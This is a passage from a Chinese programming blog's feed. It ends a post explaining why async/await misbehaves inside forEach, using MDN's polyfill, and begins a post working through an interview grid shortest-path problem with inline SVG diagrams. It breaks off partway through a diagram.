&lt;p&gt;运行得到的结果是按顺序排列的。用同样的方式分别用for…of循环以及map、filter、reduce等方法将代码进行改写，测试后得出结论：
&lt;strong&gt;async/await在for/for…of循环中可以正常按期望运行，在使用回调函数的数组方法(forEach、map、filter、reduce)时会出现问题&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;原因探究&lt;/h2&gt;
&lt;p&gt;其实说到这里解决方法已经很明显了，&lt;strong&gt;将数组方法(forEach)替换为循环(for/for…of)即可解决&lt;/strong&gt;，那么我们继续来探究一下具体的原因。
众所周知，await/async本质上就是Promise的一个语法糖，所以问题应该是出现在forEach方法上。
通过查阅MDN文档，我找到了forEach方法的Pollyfill如下(也看到了对这个问题的特别提醒。。。早点看就不会出这个问题了)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Production steps of ECMA-262, Edition 5, 15.4.4.18
// Reference: http://es5.github.io/#x15.4.4.18
if (!Array.prototype.forEach) {

  Array.prototype.forEach = function(callback, thisArg) {

    var T, k;

    if (this == null) {
      throw new TypeError(&apos; this is null or not defined&apos;);
    }

    // 1. Let O be the result of calling toObject() passing the
    // |this| value as the argument.
    var O = Object(this);

    // 2. Let lenValue be the result of calling the Get() internal
    // method of O with the argument &quot;length&quot;.
    // 3. Let len be toUint32(lenValue).
    var len = O.length &amp;gt;&amp;gt;&amp;gt; 0;

    // 4. If isCallable(callback) is false, throw a TypeError exception. 
    // See: http://es5.github.com/#x9.11
    if (typeof callback !== &quot;function&quot;) {
      throw new TypeError(callback + &apos; is not a function&apos;);
    }

    // 5. If thisArg was supplied, let T be thisArg; else let
    // T be undefined.
    if (arguments.length &amp;gt; 1) {
      T = thisArg;
    }

    // 6. Let k be 0
    k = 0;

    // 7. Repeat, while k &amp;lt; len
    while (k &amp;lt; len) {

      var kValue;

      // a. Let Pk be ToString(k).
      //    This is implicit for LHS operands of the in operator
      // b. Let kPresent be the result of calling the HasProperty
      //    internal method of O with argument Pk.
      //    This step can be combined with c
      // c. If kPresent is true, then
      if (k in O) {

        // i. Let kValue be the result of calling the Get internal
        // method of O with argument Pk.
        kValue = O[k];

        // ii. Call the Call internal method of callback with T as
        // the this value and argument list containing kValue, k, and O.
        callback.call(T, kValue, k, O);
      }
      // d. Increase k by 1.
      k++;
    }
    // 8. return undefined
  };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到，第56行在while循环内直接调用了我们的回调函数
由于await必须位于异步函数之中，要与async成对使用，导致我们传入的回调函数其实是一个异步函数(或者说是Promise)
由于没有await的阻塞，循环内部按异步执行，导致了顺序与期望的不同
&lt;strong&gt;而解决方法就是将数组方法(forEach)替换为循环(for/for…of)&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;参考资料：&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach&quot;&gt;MDN Web Doc: Array.prototype.forEach()&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>一道无趣的面试编程题</title><link>https://blog.hiyun.top/posts/%E4%B8%80%E9%81%93%E6%97%A0%E8%B6%A3%E7%9A%84%E9%9D%A2%E8%AF%95%E7%BC%96%E7%A8%8B%E9%A2%98/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E4%B8%80%E9%81%93%E6%97%A0%E8%B6%A3%E7%9A%84%E9%9D%A2%E8%AF%95%E7%BC%96%E7%A8%8B%E9%A2%98/</guid><description>一道无趣的面试编程题</description><pubDate>Thu, 09 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;最近经济大环境依旧没能从疫情中走出来，身边有不少小伙伴被裁员或者是公司倒闭失业&lt;/p&gt;
&lt;p&gt;好友群里讨论最多的话题就是面试，自然少不了讨论面试题&lt;/p&gt;
&lt;p&gt;昨天一位相识多年的好友发我了一道面试题，他当时正好在面试，需要现场编程&lt;/p&gt;
&lt;p&gt;当时刚好不忙就看了一下题目，感觉很无趣&lt;/p&gt;
&lt;p&gt;但还是耐着性子文字给他讲了讲，顺带着画了张简图，可是他还是没懂&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;p&gt;原题如下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一个城市可以近似看成 n * m 的网格图，A 公司有 k 个维修点，每个维修点有固定的坐标，城市里面有 h 个客户需要修理手机，客户有固定的坐标
维修员在地图上只能上下左右走，不能斜着走，每走一个格子需要 2 块钱的花费
每个维修点拥有无数个员工，每个员工可以被派去为一个客户服务
城市里面有 z 个地方在修理管道，这些地方是不能走的
可能有一些客户是被隔离的（上下左右都在修管道），这里是不需要派员工去修理手机了
A 公司为了节省财力，想找到最小的花费&lt;/p&gt;
&lt;p&gt;输入：&lt;/p&gt;
&lt;p&gt;第一行给出两个正整数 n, m （0 &amp;lt; n &amp;lt; 1000, 0 &amp;lt; m &amp;lt; 1000）
第二行给出 k（0 &amp;lt; k &amp;lt; 20）以及 k 个维修点的坐标
第三行给出 z（0 &amp;lt; z &amp;lt; 100）以及 z 个坐标
第四行给出 h（O &amp;lt; h &amp;lt; 100）以及 h 个坐标
保证客户，维修点以及修理管道都在 n * m 的地图里面&lt;/p&gt;
&lt;p&gt;输出：最小的花费&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;样例&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;输入样例
100 100
411223344
100
3 99 99 88 88 7777

输出样例
1008
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这道题乍一看，看起来很唬人字很多，又是还有拦路虎，要找最短路径啥的，但其实是一道阅读理解题&lt;/p&gt;
&lt;p&gt;一般现场编程面试，主要看你现场的反应和理解力，算法或者数据结构的东西，反而涉及不会太多&lt;/p&gt;
&lt;p&gt;这也使得这道题在弄懂原理后相当无趣，但考虑我这朋友确实经验尚浅&lt;/p&gt;
&lt;p&gt;所以我还是给他继续讲下去，顺带着给了代码实现&lt;/p&gt;
&lt;p&gt;这篇博客便是当时内容的摘录整理&lt;/p&gt;
&lt;p&gt;&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; width=&quot;400px&quot; height=&quot;400px&quot; viewBox=&quot;0 0 1203 1201&quot; version=&quot;1.1&quot;&amp;gt;
&amp;lt;g id=&quot;64x64&quot; stroke=&quot;none&quot; stroke-width=&quot;1&quot; fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&amp;gt;
&amp;lt;g id=&quot;Group&quot; transform=&quot;translate(94, 96.5)&quot; stroke=&quot;#979797&quot; stroke-linecap=&quot;square&quot;&amp;gt;
&amp;lt;line x1=&quot;0.5&quot; y1=&quot;103&quot; x2=&quot;1006.5&quot; y2=&quot;103&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;303.5&quot; x2=&quot;1012&quot; y2=&quot;303.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;504.5&quot; x2=&quot;1012&quot; y2=&quot;504.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;1&quot; y1=&quot;705.5&quot; x2=&quot;1007&quot; y2=&quot;705.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;906.5&quot; x2=&quot;1012&quot; y2=&quot;906.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;110.5&quot; y1=&quot;6&quot; x2=&quot;110.5&quot; y2=&quot;1005&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;311&quot; y1=&quot;6.5&quot; x2=&quot;311&quot; y2=&quot;1005.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;504&quot; y1=&quot;0.5&quot; x2=&quot;504&quot; y2=&quot;999.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;706&quot; y1=&quot;4.5&quot; x2=&quot;706&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;908&quot; y1=&quot;4.5&quot; x2=&quot;908&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;line x1=&quot;203&quot; y1=&quot;400.5&quot; x2=&quot;202.5&quot; y2=&quot;601&quot; id=&quot;y&quot; stroke=&quot;#003DFF&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;205&quot; cy=&quot;600&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#FF8D8D&quot; fill=&quot;#FD9B9B&quot; cx=&quot;205&quot; cy=&quot;397&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;/svg&amp;gt;&lt;/p&gt;
&lt;p&gt;做任何算法题，第一步是理解题意，第二步是设想最简单的情况，再慢慢推导到复杂情况&lt;/p&gt;
&lt;p&gt;首先，我们先不考虑存在阻塞的情况&lt;/p&gt;
&lt;p&gt;最简单场景里，顾客和维修点在一个 1 x 1 的格子的一条边上，这个时候他们间的最短距离为 1&lt;/p&gt;
&lt;p&gt;&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; width=&quot;400px&quot; height=&quot;400px&quot; viewBox=&quot;0 0 1203 1201&quot; version=&quot;1.1&quot;&amp;gt;
&amp;lt;g id=&quot;64x64&quot; stroke=&quot;none&quot; stroke-width=&quot;1&quot; fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&amp;gt;
&amp;lt;g id=&quot;Group&quot; transform=&quot;translate(94, 96.5)&quot; stroke=&quot;#979797&quot; stroke-linecap=&quot;square&quot;&amp;gt;
&amp;lt;line x1=&quot;0.5&quot; y1=&quot;103&quot; x2=&quot;1006.5&quot; y2=&quot;103&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;303.5&quot; x2=&quot;1012&quot; y2=&quot;303.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;504.5&quot; x2=&quot;1012&quot; y2=&quot;504.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;1&quot; y1=&quot;705.5&quot; x2=&quot;1007&quot; y2=&quot;705.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;906.5&quot; x2=&quot;1012&quot; y2=&quot;906.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;110.5&quot; y1=&quot;6&quot; x2=&quot;110.5&quot; y2=&quot;1005&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;311&quot; y1=&quot;6.5&quot; x2=&quot;311&quot; y2=&quot;1005.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;504&quot; y1=&quot;0.5&quot; x2=&quot;504&quot; y2=&quot;999.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;706&quot; y1=&quot;4.5&quot; x2=&quot;706&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;908&quot; y1=&quot;4.5&quot; x2=&quot;908&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;line x1=&quot;406&quot; y1=&quot;400&quot; x2=&quot;405.5&quot; y2=&quot;600.5&quot; id=&quot;y&quot; stroke=&quot;#FF0000&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;203&quot; y1=&quot;400.5&quot; x2=&quot;202.5&quot; y2=&quot;601&quot; id=&quot;y&quot; stroke=&quot;#003DFF&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;203.5&quot; y1=&quot;398.5&quot; x2=&quot;404.5&quot; y2=&quot;398.5&quot; id=&quot;x&quot; stroke=&quot;#FF0000&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;204&quot; y1=&quot;601&quot; x2=&quot;405&quot; y2=&quot;601&quot; id=&quot;x&quot; stroke=&quot;#003DFF&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;407&quot; cy=&quot;601&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#FF8D8D&quot; fill=&quot;#FD9B9B&quot; cx=&quot;205&quot; cy=&quot;397&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;/svg&amp;gt;&lt;/p&gt;
&lt;p&gt;然后我们更进一步，如果他们在一个格子的对角线上呢？&lt;/p&gt;
&lt;p&gt;他们间的最短路径有两条，为2&lt;/p&gt;
&lt;p&gt;&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; width=&quot;400px&quot; height=&quot;400px&quot; viewBox=&quot;0 0 1203 1201&quot; version=&quot;1.1&quot;&amp;gt;
&amp;lt;g id=&quot;64x64&quot; stroke=&quot;none&quot; stroke-width=&quot;1&quot; fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&amp;gt;
&amp;lt;g id=&quot;Group&quot; transform=&quot;translate(94, 96.5)&quot; stroke=&quot;#979797&quot; stroke-linecap=&quot;square&quot;&amp;gt;
&amp;lt;line x1=&quot;0.5&quot; y1=&quot;103&quot; x2=&quot;1006.5&quot; y2=&quot;103&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;303.5&quot; x2=&quot;1012&quot; y2=&quot;303.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;504.5&quot; x2=&quot;1012&quot; y2=&quot;504.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;1&quot; y1=&quot;705.5&quot; x2=&quot;1007&quot; y2=&quot;705.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;906.5&quot; x2=&quot;1012&quot; y2=&quot;906.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;110.5&quot; y1=&quot;6&quot; x2=&quot;110.5&quot; y2=&quot;1005&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;311&quot; y1=&quot;6.5&quot; x2=&quot;311&quot; y2=&quot;1005.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;504&quot; y1=&quot;0.5&quot; x2=&quot;504&quot; y2=&quot;999.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;706&quot; y1=&quot;4.5&quot; x2=&quot;706&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;908&quot; y1=&quot;4.5&quot; x2=&quot;908&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;line x1=&quot;205&quot; y1=&quot;397&quot; x2=&quot;203.5&quot; y2=&quot;1005.5&quot; id=&quot;y&quot; stroke=&quot;#FF0000&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;203.5&quot; y1=&quot;398.5&quot; x2=&quot;404.5&quot; y2=&quot;398.5&quot; id=&quot;x&quot; stroke=&quot;#FF0000&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;205&quot; y1=&quot;398&quot; x2=&quot;798.5&quot; y2=&quot;397.5&quot; id=&quot;x&quot; stroke=&quot;#003DFF&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;798&quot; cy=&quot;398&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#46DDB7&quot; fill=&quot;#5CDC8C&quot; cx=&quot;205&quot; cy=&quot;1005&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#FF8D8D&quot; fill=&quot;#FD9B9B&quot; cx=&quot;205&quot; cy=&quot;397&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;/svg&amp;gt;&lt;/p&gt;
&lt;p&gt;结合初中的几何学知识，我们首先知道一个基本知识，两点之间，直线最短&lt;/p&gt;
&lt;p&gt;所以，维修点和顾客在同一条直线上时，他们之间的距离就是直线距离&lt;/p&gt;
&lt;p&gt;&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; width=&quot;800px&quot; height=&quot;400px&quot; viewBox=&quot;0 0 2402 1201&quot; version=&quot;1.1&quot;&amp;gt;
&amp;lt;g id=&quot;128x128&quot; stroke=&quot;none&quot; stroke-width=&quot;1&quot; fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&amp;gt;
&amp;lt;g id=&quot;Group&quot; transform=&quot;translate(1296, 97.5)&quot; stroke=&quot;#979797&quot; stroke-linecap=&quot;square&quot;&amp;gt;
&amp;lt;line x1=&quot;0.5&quot; y1=&quot;103&quot; x2=&quot;1006.5&quot; y2=&quot;103&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;303.5&quot; x2=&quot;1012&quot; y2=&quot;303.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;504.5&quot; x2=&quot;1012&quot; y2=&quot;504.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;1&quot; y1=&quot;705.5&quot; x2=&quot;1007&quot; y2=&quot;705.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;906.5&quot; x2=&quot;1012&quot; y2=&quot;906.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;110.5&quot; y1=&quot;6&quot; x2=&quot;110.5&quot; y2=&quot;1005&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;311&quot; y1=&quot;6.5&quot; x2=&quot;311&quot; y2=&quot;1005.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;504&quot; y1=&quot;0.5&quot; x2=&quot;504&quot; y2=&quot;999.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;706&quot; y1=&quot;4.5&quot; x2=&quot;706&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;908&quot; y1=&quot;4.5&quot; x2=&quot;908&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;g id=&quot;Group&quot; transform=&quot;translate(94, 96.5)&quot; stroke=&quot;#979797&quot; stroke-linecap=&quot;square&quot;&amp;gt;
&amp;lt;line x1=&quot;0.5&quot; y1=&quot;103&quot; x2=&quot;1006.5&quot; y2=&quot;103&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;303.5&quot; x2=&quot;1012&quot; y2=&quot;303.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;504.5&quot; x2=&quot;1012&quot; y2=&quot;504.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;1&quot; y1=&quot;705.5&quot; x2=&quot;1007&quot; y2=&quot;705.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;906.5&quot; x2=&quot;1012&quot; y2=&quot;906.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;110.5&quot; y1=&quot;6&quot; x2=&quot;110.5&quot; y2=&quot;1005&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;311&quot; y1=&quot;6.5&quot; x2=&quot;311&quot; y2=&quot;1005.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;504&quot; y1=&quot;0.5&quot; x2=&quot;504&quot; y2=&quot;999.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;706&quot; y1=&quot;4.5&quot; x2=&quot;706&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;908&quot; y1=&quot;4.5&quot; x2=&quot;908&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;line x1=&quot;600&quot; y1=&quot;400&quot; x2=&quot;600.5&quot; y2=&quot;599.5&quot; id=&quot;y&quot; stroke=&quot;#FF0000&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;203&quot; y1=&quot;400.5&quot; x2=&quot;202.5&quot; y2=&quot;601&quot; id=&quot;y&quot; stroke=&quot;#003DFF&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;203.5&quot; y1=&quot;398.5&quot; x2=&quot;600.5&quot; y2=&quot;399.5&quot; id=&quot;x&quot; stroke=&quot;#FF0000&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;205&quot; y1=&quot;601&quot; x2=&quot;600.5&quot; y2=&quot;601.5&quot; id=&quot;x&quot; stroke=&quot;#003DFF&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;1608.5&quot; y1=&quot;602.5&quot; x2=&quot;1808&quot; y2=&quot;602&quot; id=&quot;x&quot; stroke=&quot;#003DFF&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;1402&quot; y1=&quot;399.5&quot; x2=&quot;1608.5&quot; y2=&quot;399&quot; id=&quot;x&quot; stroke=&quot;#003DFF&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;line x1=&quot;1608.5&quot; y1=&quot;398.5&quot; x2=&quot;1608.5&quot; y2=&quot;602.5&quot; id=&quot;x&quot; stroke=&quot;#003DFF&quot; stroke-width=&quot;5&quot; stroke-linecap=&quot;square&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;600&quot; cy=&quot;601&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;1812&quot; cy=&quot;601&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#FF8D8D&quot; fill=&quot;#FD9B9B&quot; cx=&quot;205&quot; cy=&quot;397&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#FF8D8D&quot; fill=&quot;#FD9B9B&quot; cx=&quot;1412&quot; cy=&quot;399&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;/svg&amp;gt;&lt;/p&gt;
&lt;p&gt;然后我们再稍微复杂一点，此时顾客和维修点之间是田字格，最短路径就有三条，距离为 3&lt;/p&gt;
&lt;p&gt;&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; width=&quot;800px&quot; height=&quot;400px&quot; viewBox=&quot;0 0 2402 1201&quot; version=&quot;1.1&quot;&amp;gt;
&amp;lt;g id=&quot;128x128&quot; stroke=&quot;none&quot; stroke-width=&quot;1&quot; fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&amp;gt;
&amp;lt;g id=&quot;Group&quot; transform=&quot;translate(1296, 97.5)&quot; stroke=&quot;#979797&quot; stroke-linecap=&quot;square&quot;&amp;gt;
&amp;lt;line x1=&quot;0.5&quot; y1=&quot;103&quot; x2=&quot;1006.5&quot; y2=&quot;103&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;303.5&quot; x2=&quot;1012&quot; y2=&quot;303.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;504.5&quot; x2=&quot;1012&quot; y2=&quot;504.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;1&quot; y1=&quot;705.5&quot; x2=&quot;1007&quot; y2=&quot;705.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;906.5&quot; x2=&quot;1012&quot; y2=&quot;906.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;110.5&quot; y1=&quot;6&quot; x2=&quot;110.5&quot; y2=&quot;1005&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;311&quot; y1=&quot;6.5&quot; x2=&quot;311&quot; y2=&quot;1005.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;504&quot; y1=&quot;0.5&quot; x2=&quot;504&quot; y2=&quot;999.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;706&quot; y1=&quot;4.5&quot; x2=&quot;706&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;908&quot; y1=&quot;4.5&quot; x2=&quot;908&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;g id=&quot;Group&quot; transform=&quot;translate(94, 96.5)&quot; stroke=&quot;#979797&quot; stroke-linecap=&quot;square&quot;&amp;gt;
&amp;lt;line x1=&quot;0.5&quot; y1=&quot;103&quot; x2=&quot;1006.5&quot; y2=&quot;103&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;303.5&quot; x2=&quot;1012&quot; y2=&quot;303.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;504.5&quot; x2=&quot;1012&quot; y2=&quot;504.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;1&quot; y1=&quot;705.5&quot; x2=&quot;1007&quot; y2=&quot;705.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;906.5&quot; x2=&quot;1012&quot; y2=&quot;906.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;110.5&quot; y1=&quot;6&quot; x2=&quot;110.5&quot; y2=&quot;1005&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;311&quot; y1=&quot;6.5&quot; x2=&quot;311&quot; y2=&quot;1005.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;504&quot; y1=&quot;0.5&quot; x2=&quot;504&quot; y2=&quot;999.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;706&quot; y1=&quot;4.5&quot; x2=&quot;706&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;908&quot; y1=&quot;4.5&quot; x2=&quot;908&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;path id=&quot;Line-3&quot; d=&quot;M1409,603 L1409,771 L1423,771 L1406,805 L1389,771 L1403,771 L1403,603 L1409,603 Z&quot; fill=&quot;#718EE5&quot; fill-rule=&quot;nonzero&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;1801.5&quot; cy=&quot;804.5&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;path id=&quot;Line-3&quot; d=&quot;M1573.41584,383.669363 L1607.5,400.5 L1573.585,417.668942 L1573.514,403.669 L1406.51493,404.499963 L1403.51496,404.514888 L1403.48511,398.514962 L1406.48507,398.500037 L1573.485,397.669 L1573.41584,383.669363 Z&quot; fill=&quot;#5FB88F&quot; fill-rule=&quot;nonzero&quot;/&amp;gt;
&amp;lt;path id=&quot;Line-3&quot; d=&quot;M1410,401 L1410,569 L1424,569 L1407,603 L1390,569 L1404,569 L1404,401 L1410,401 Z&quot; fill=&quot;#718EE5&quot; fill-rule=&quot;nonzero&quot;/&amp;gt;
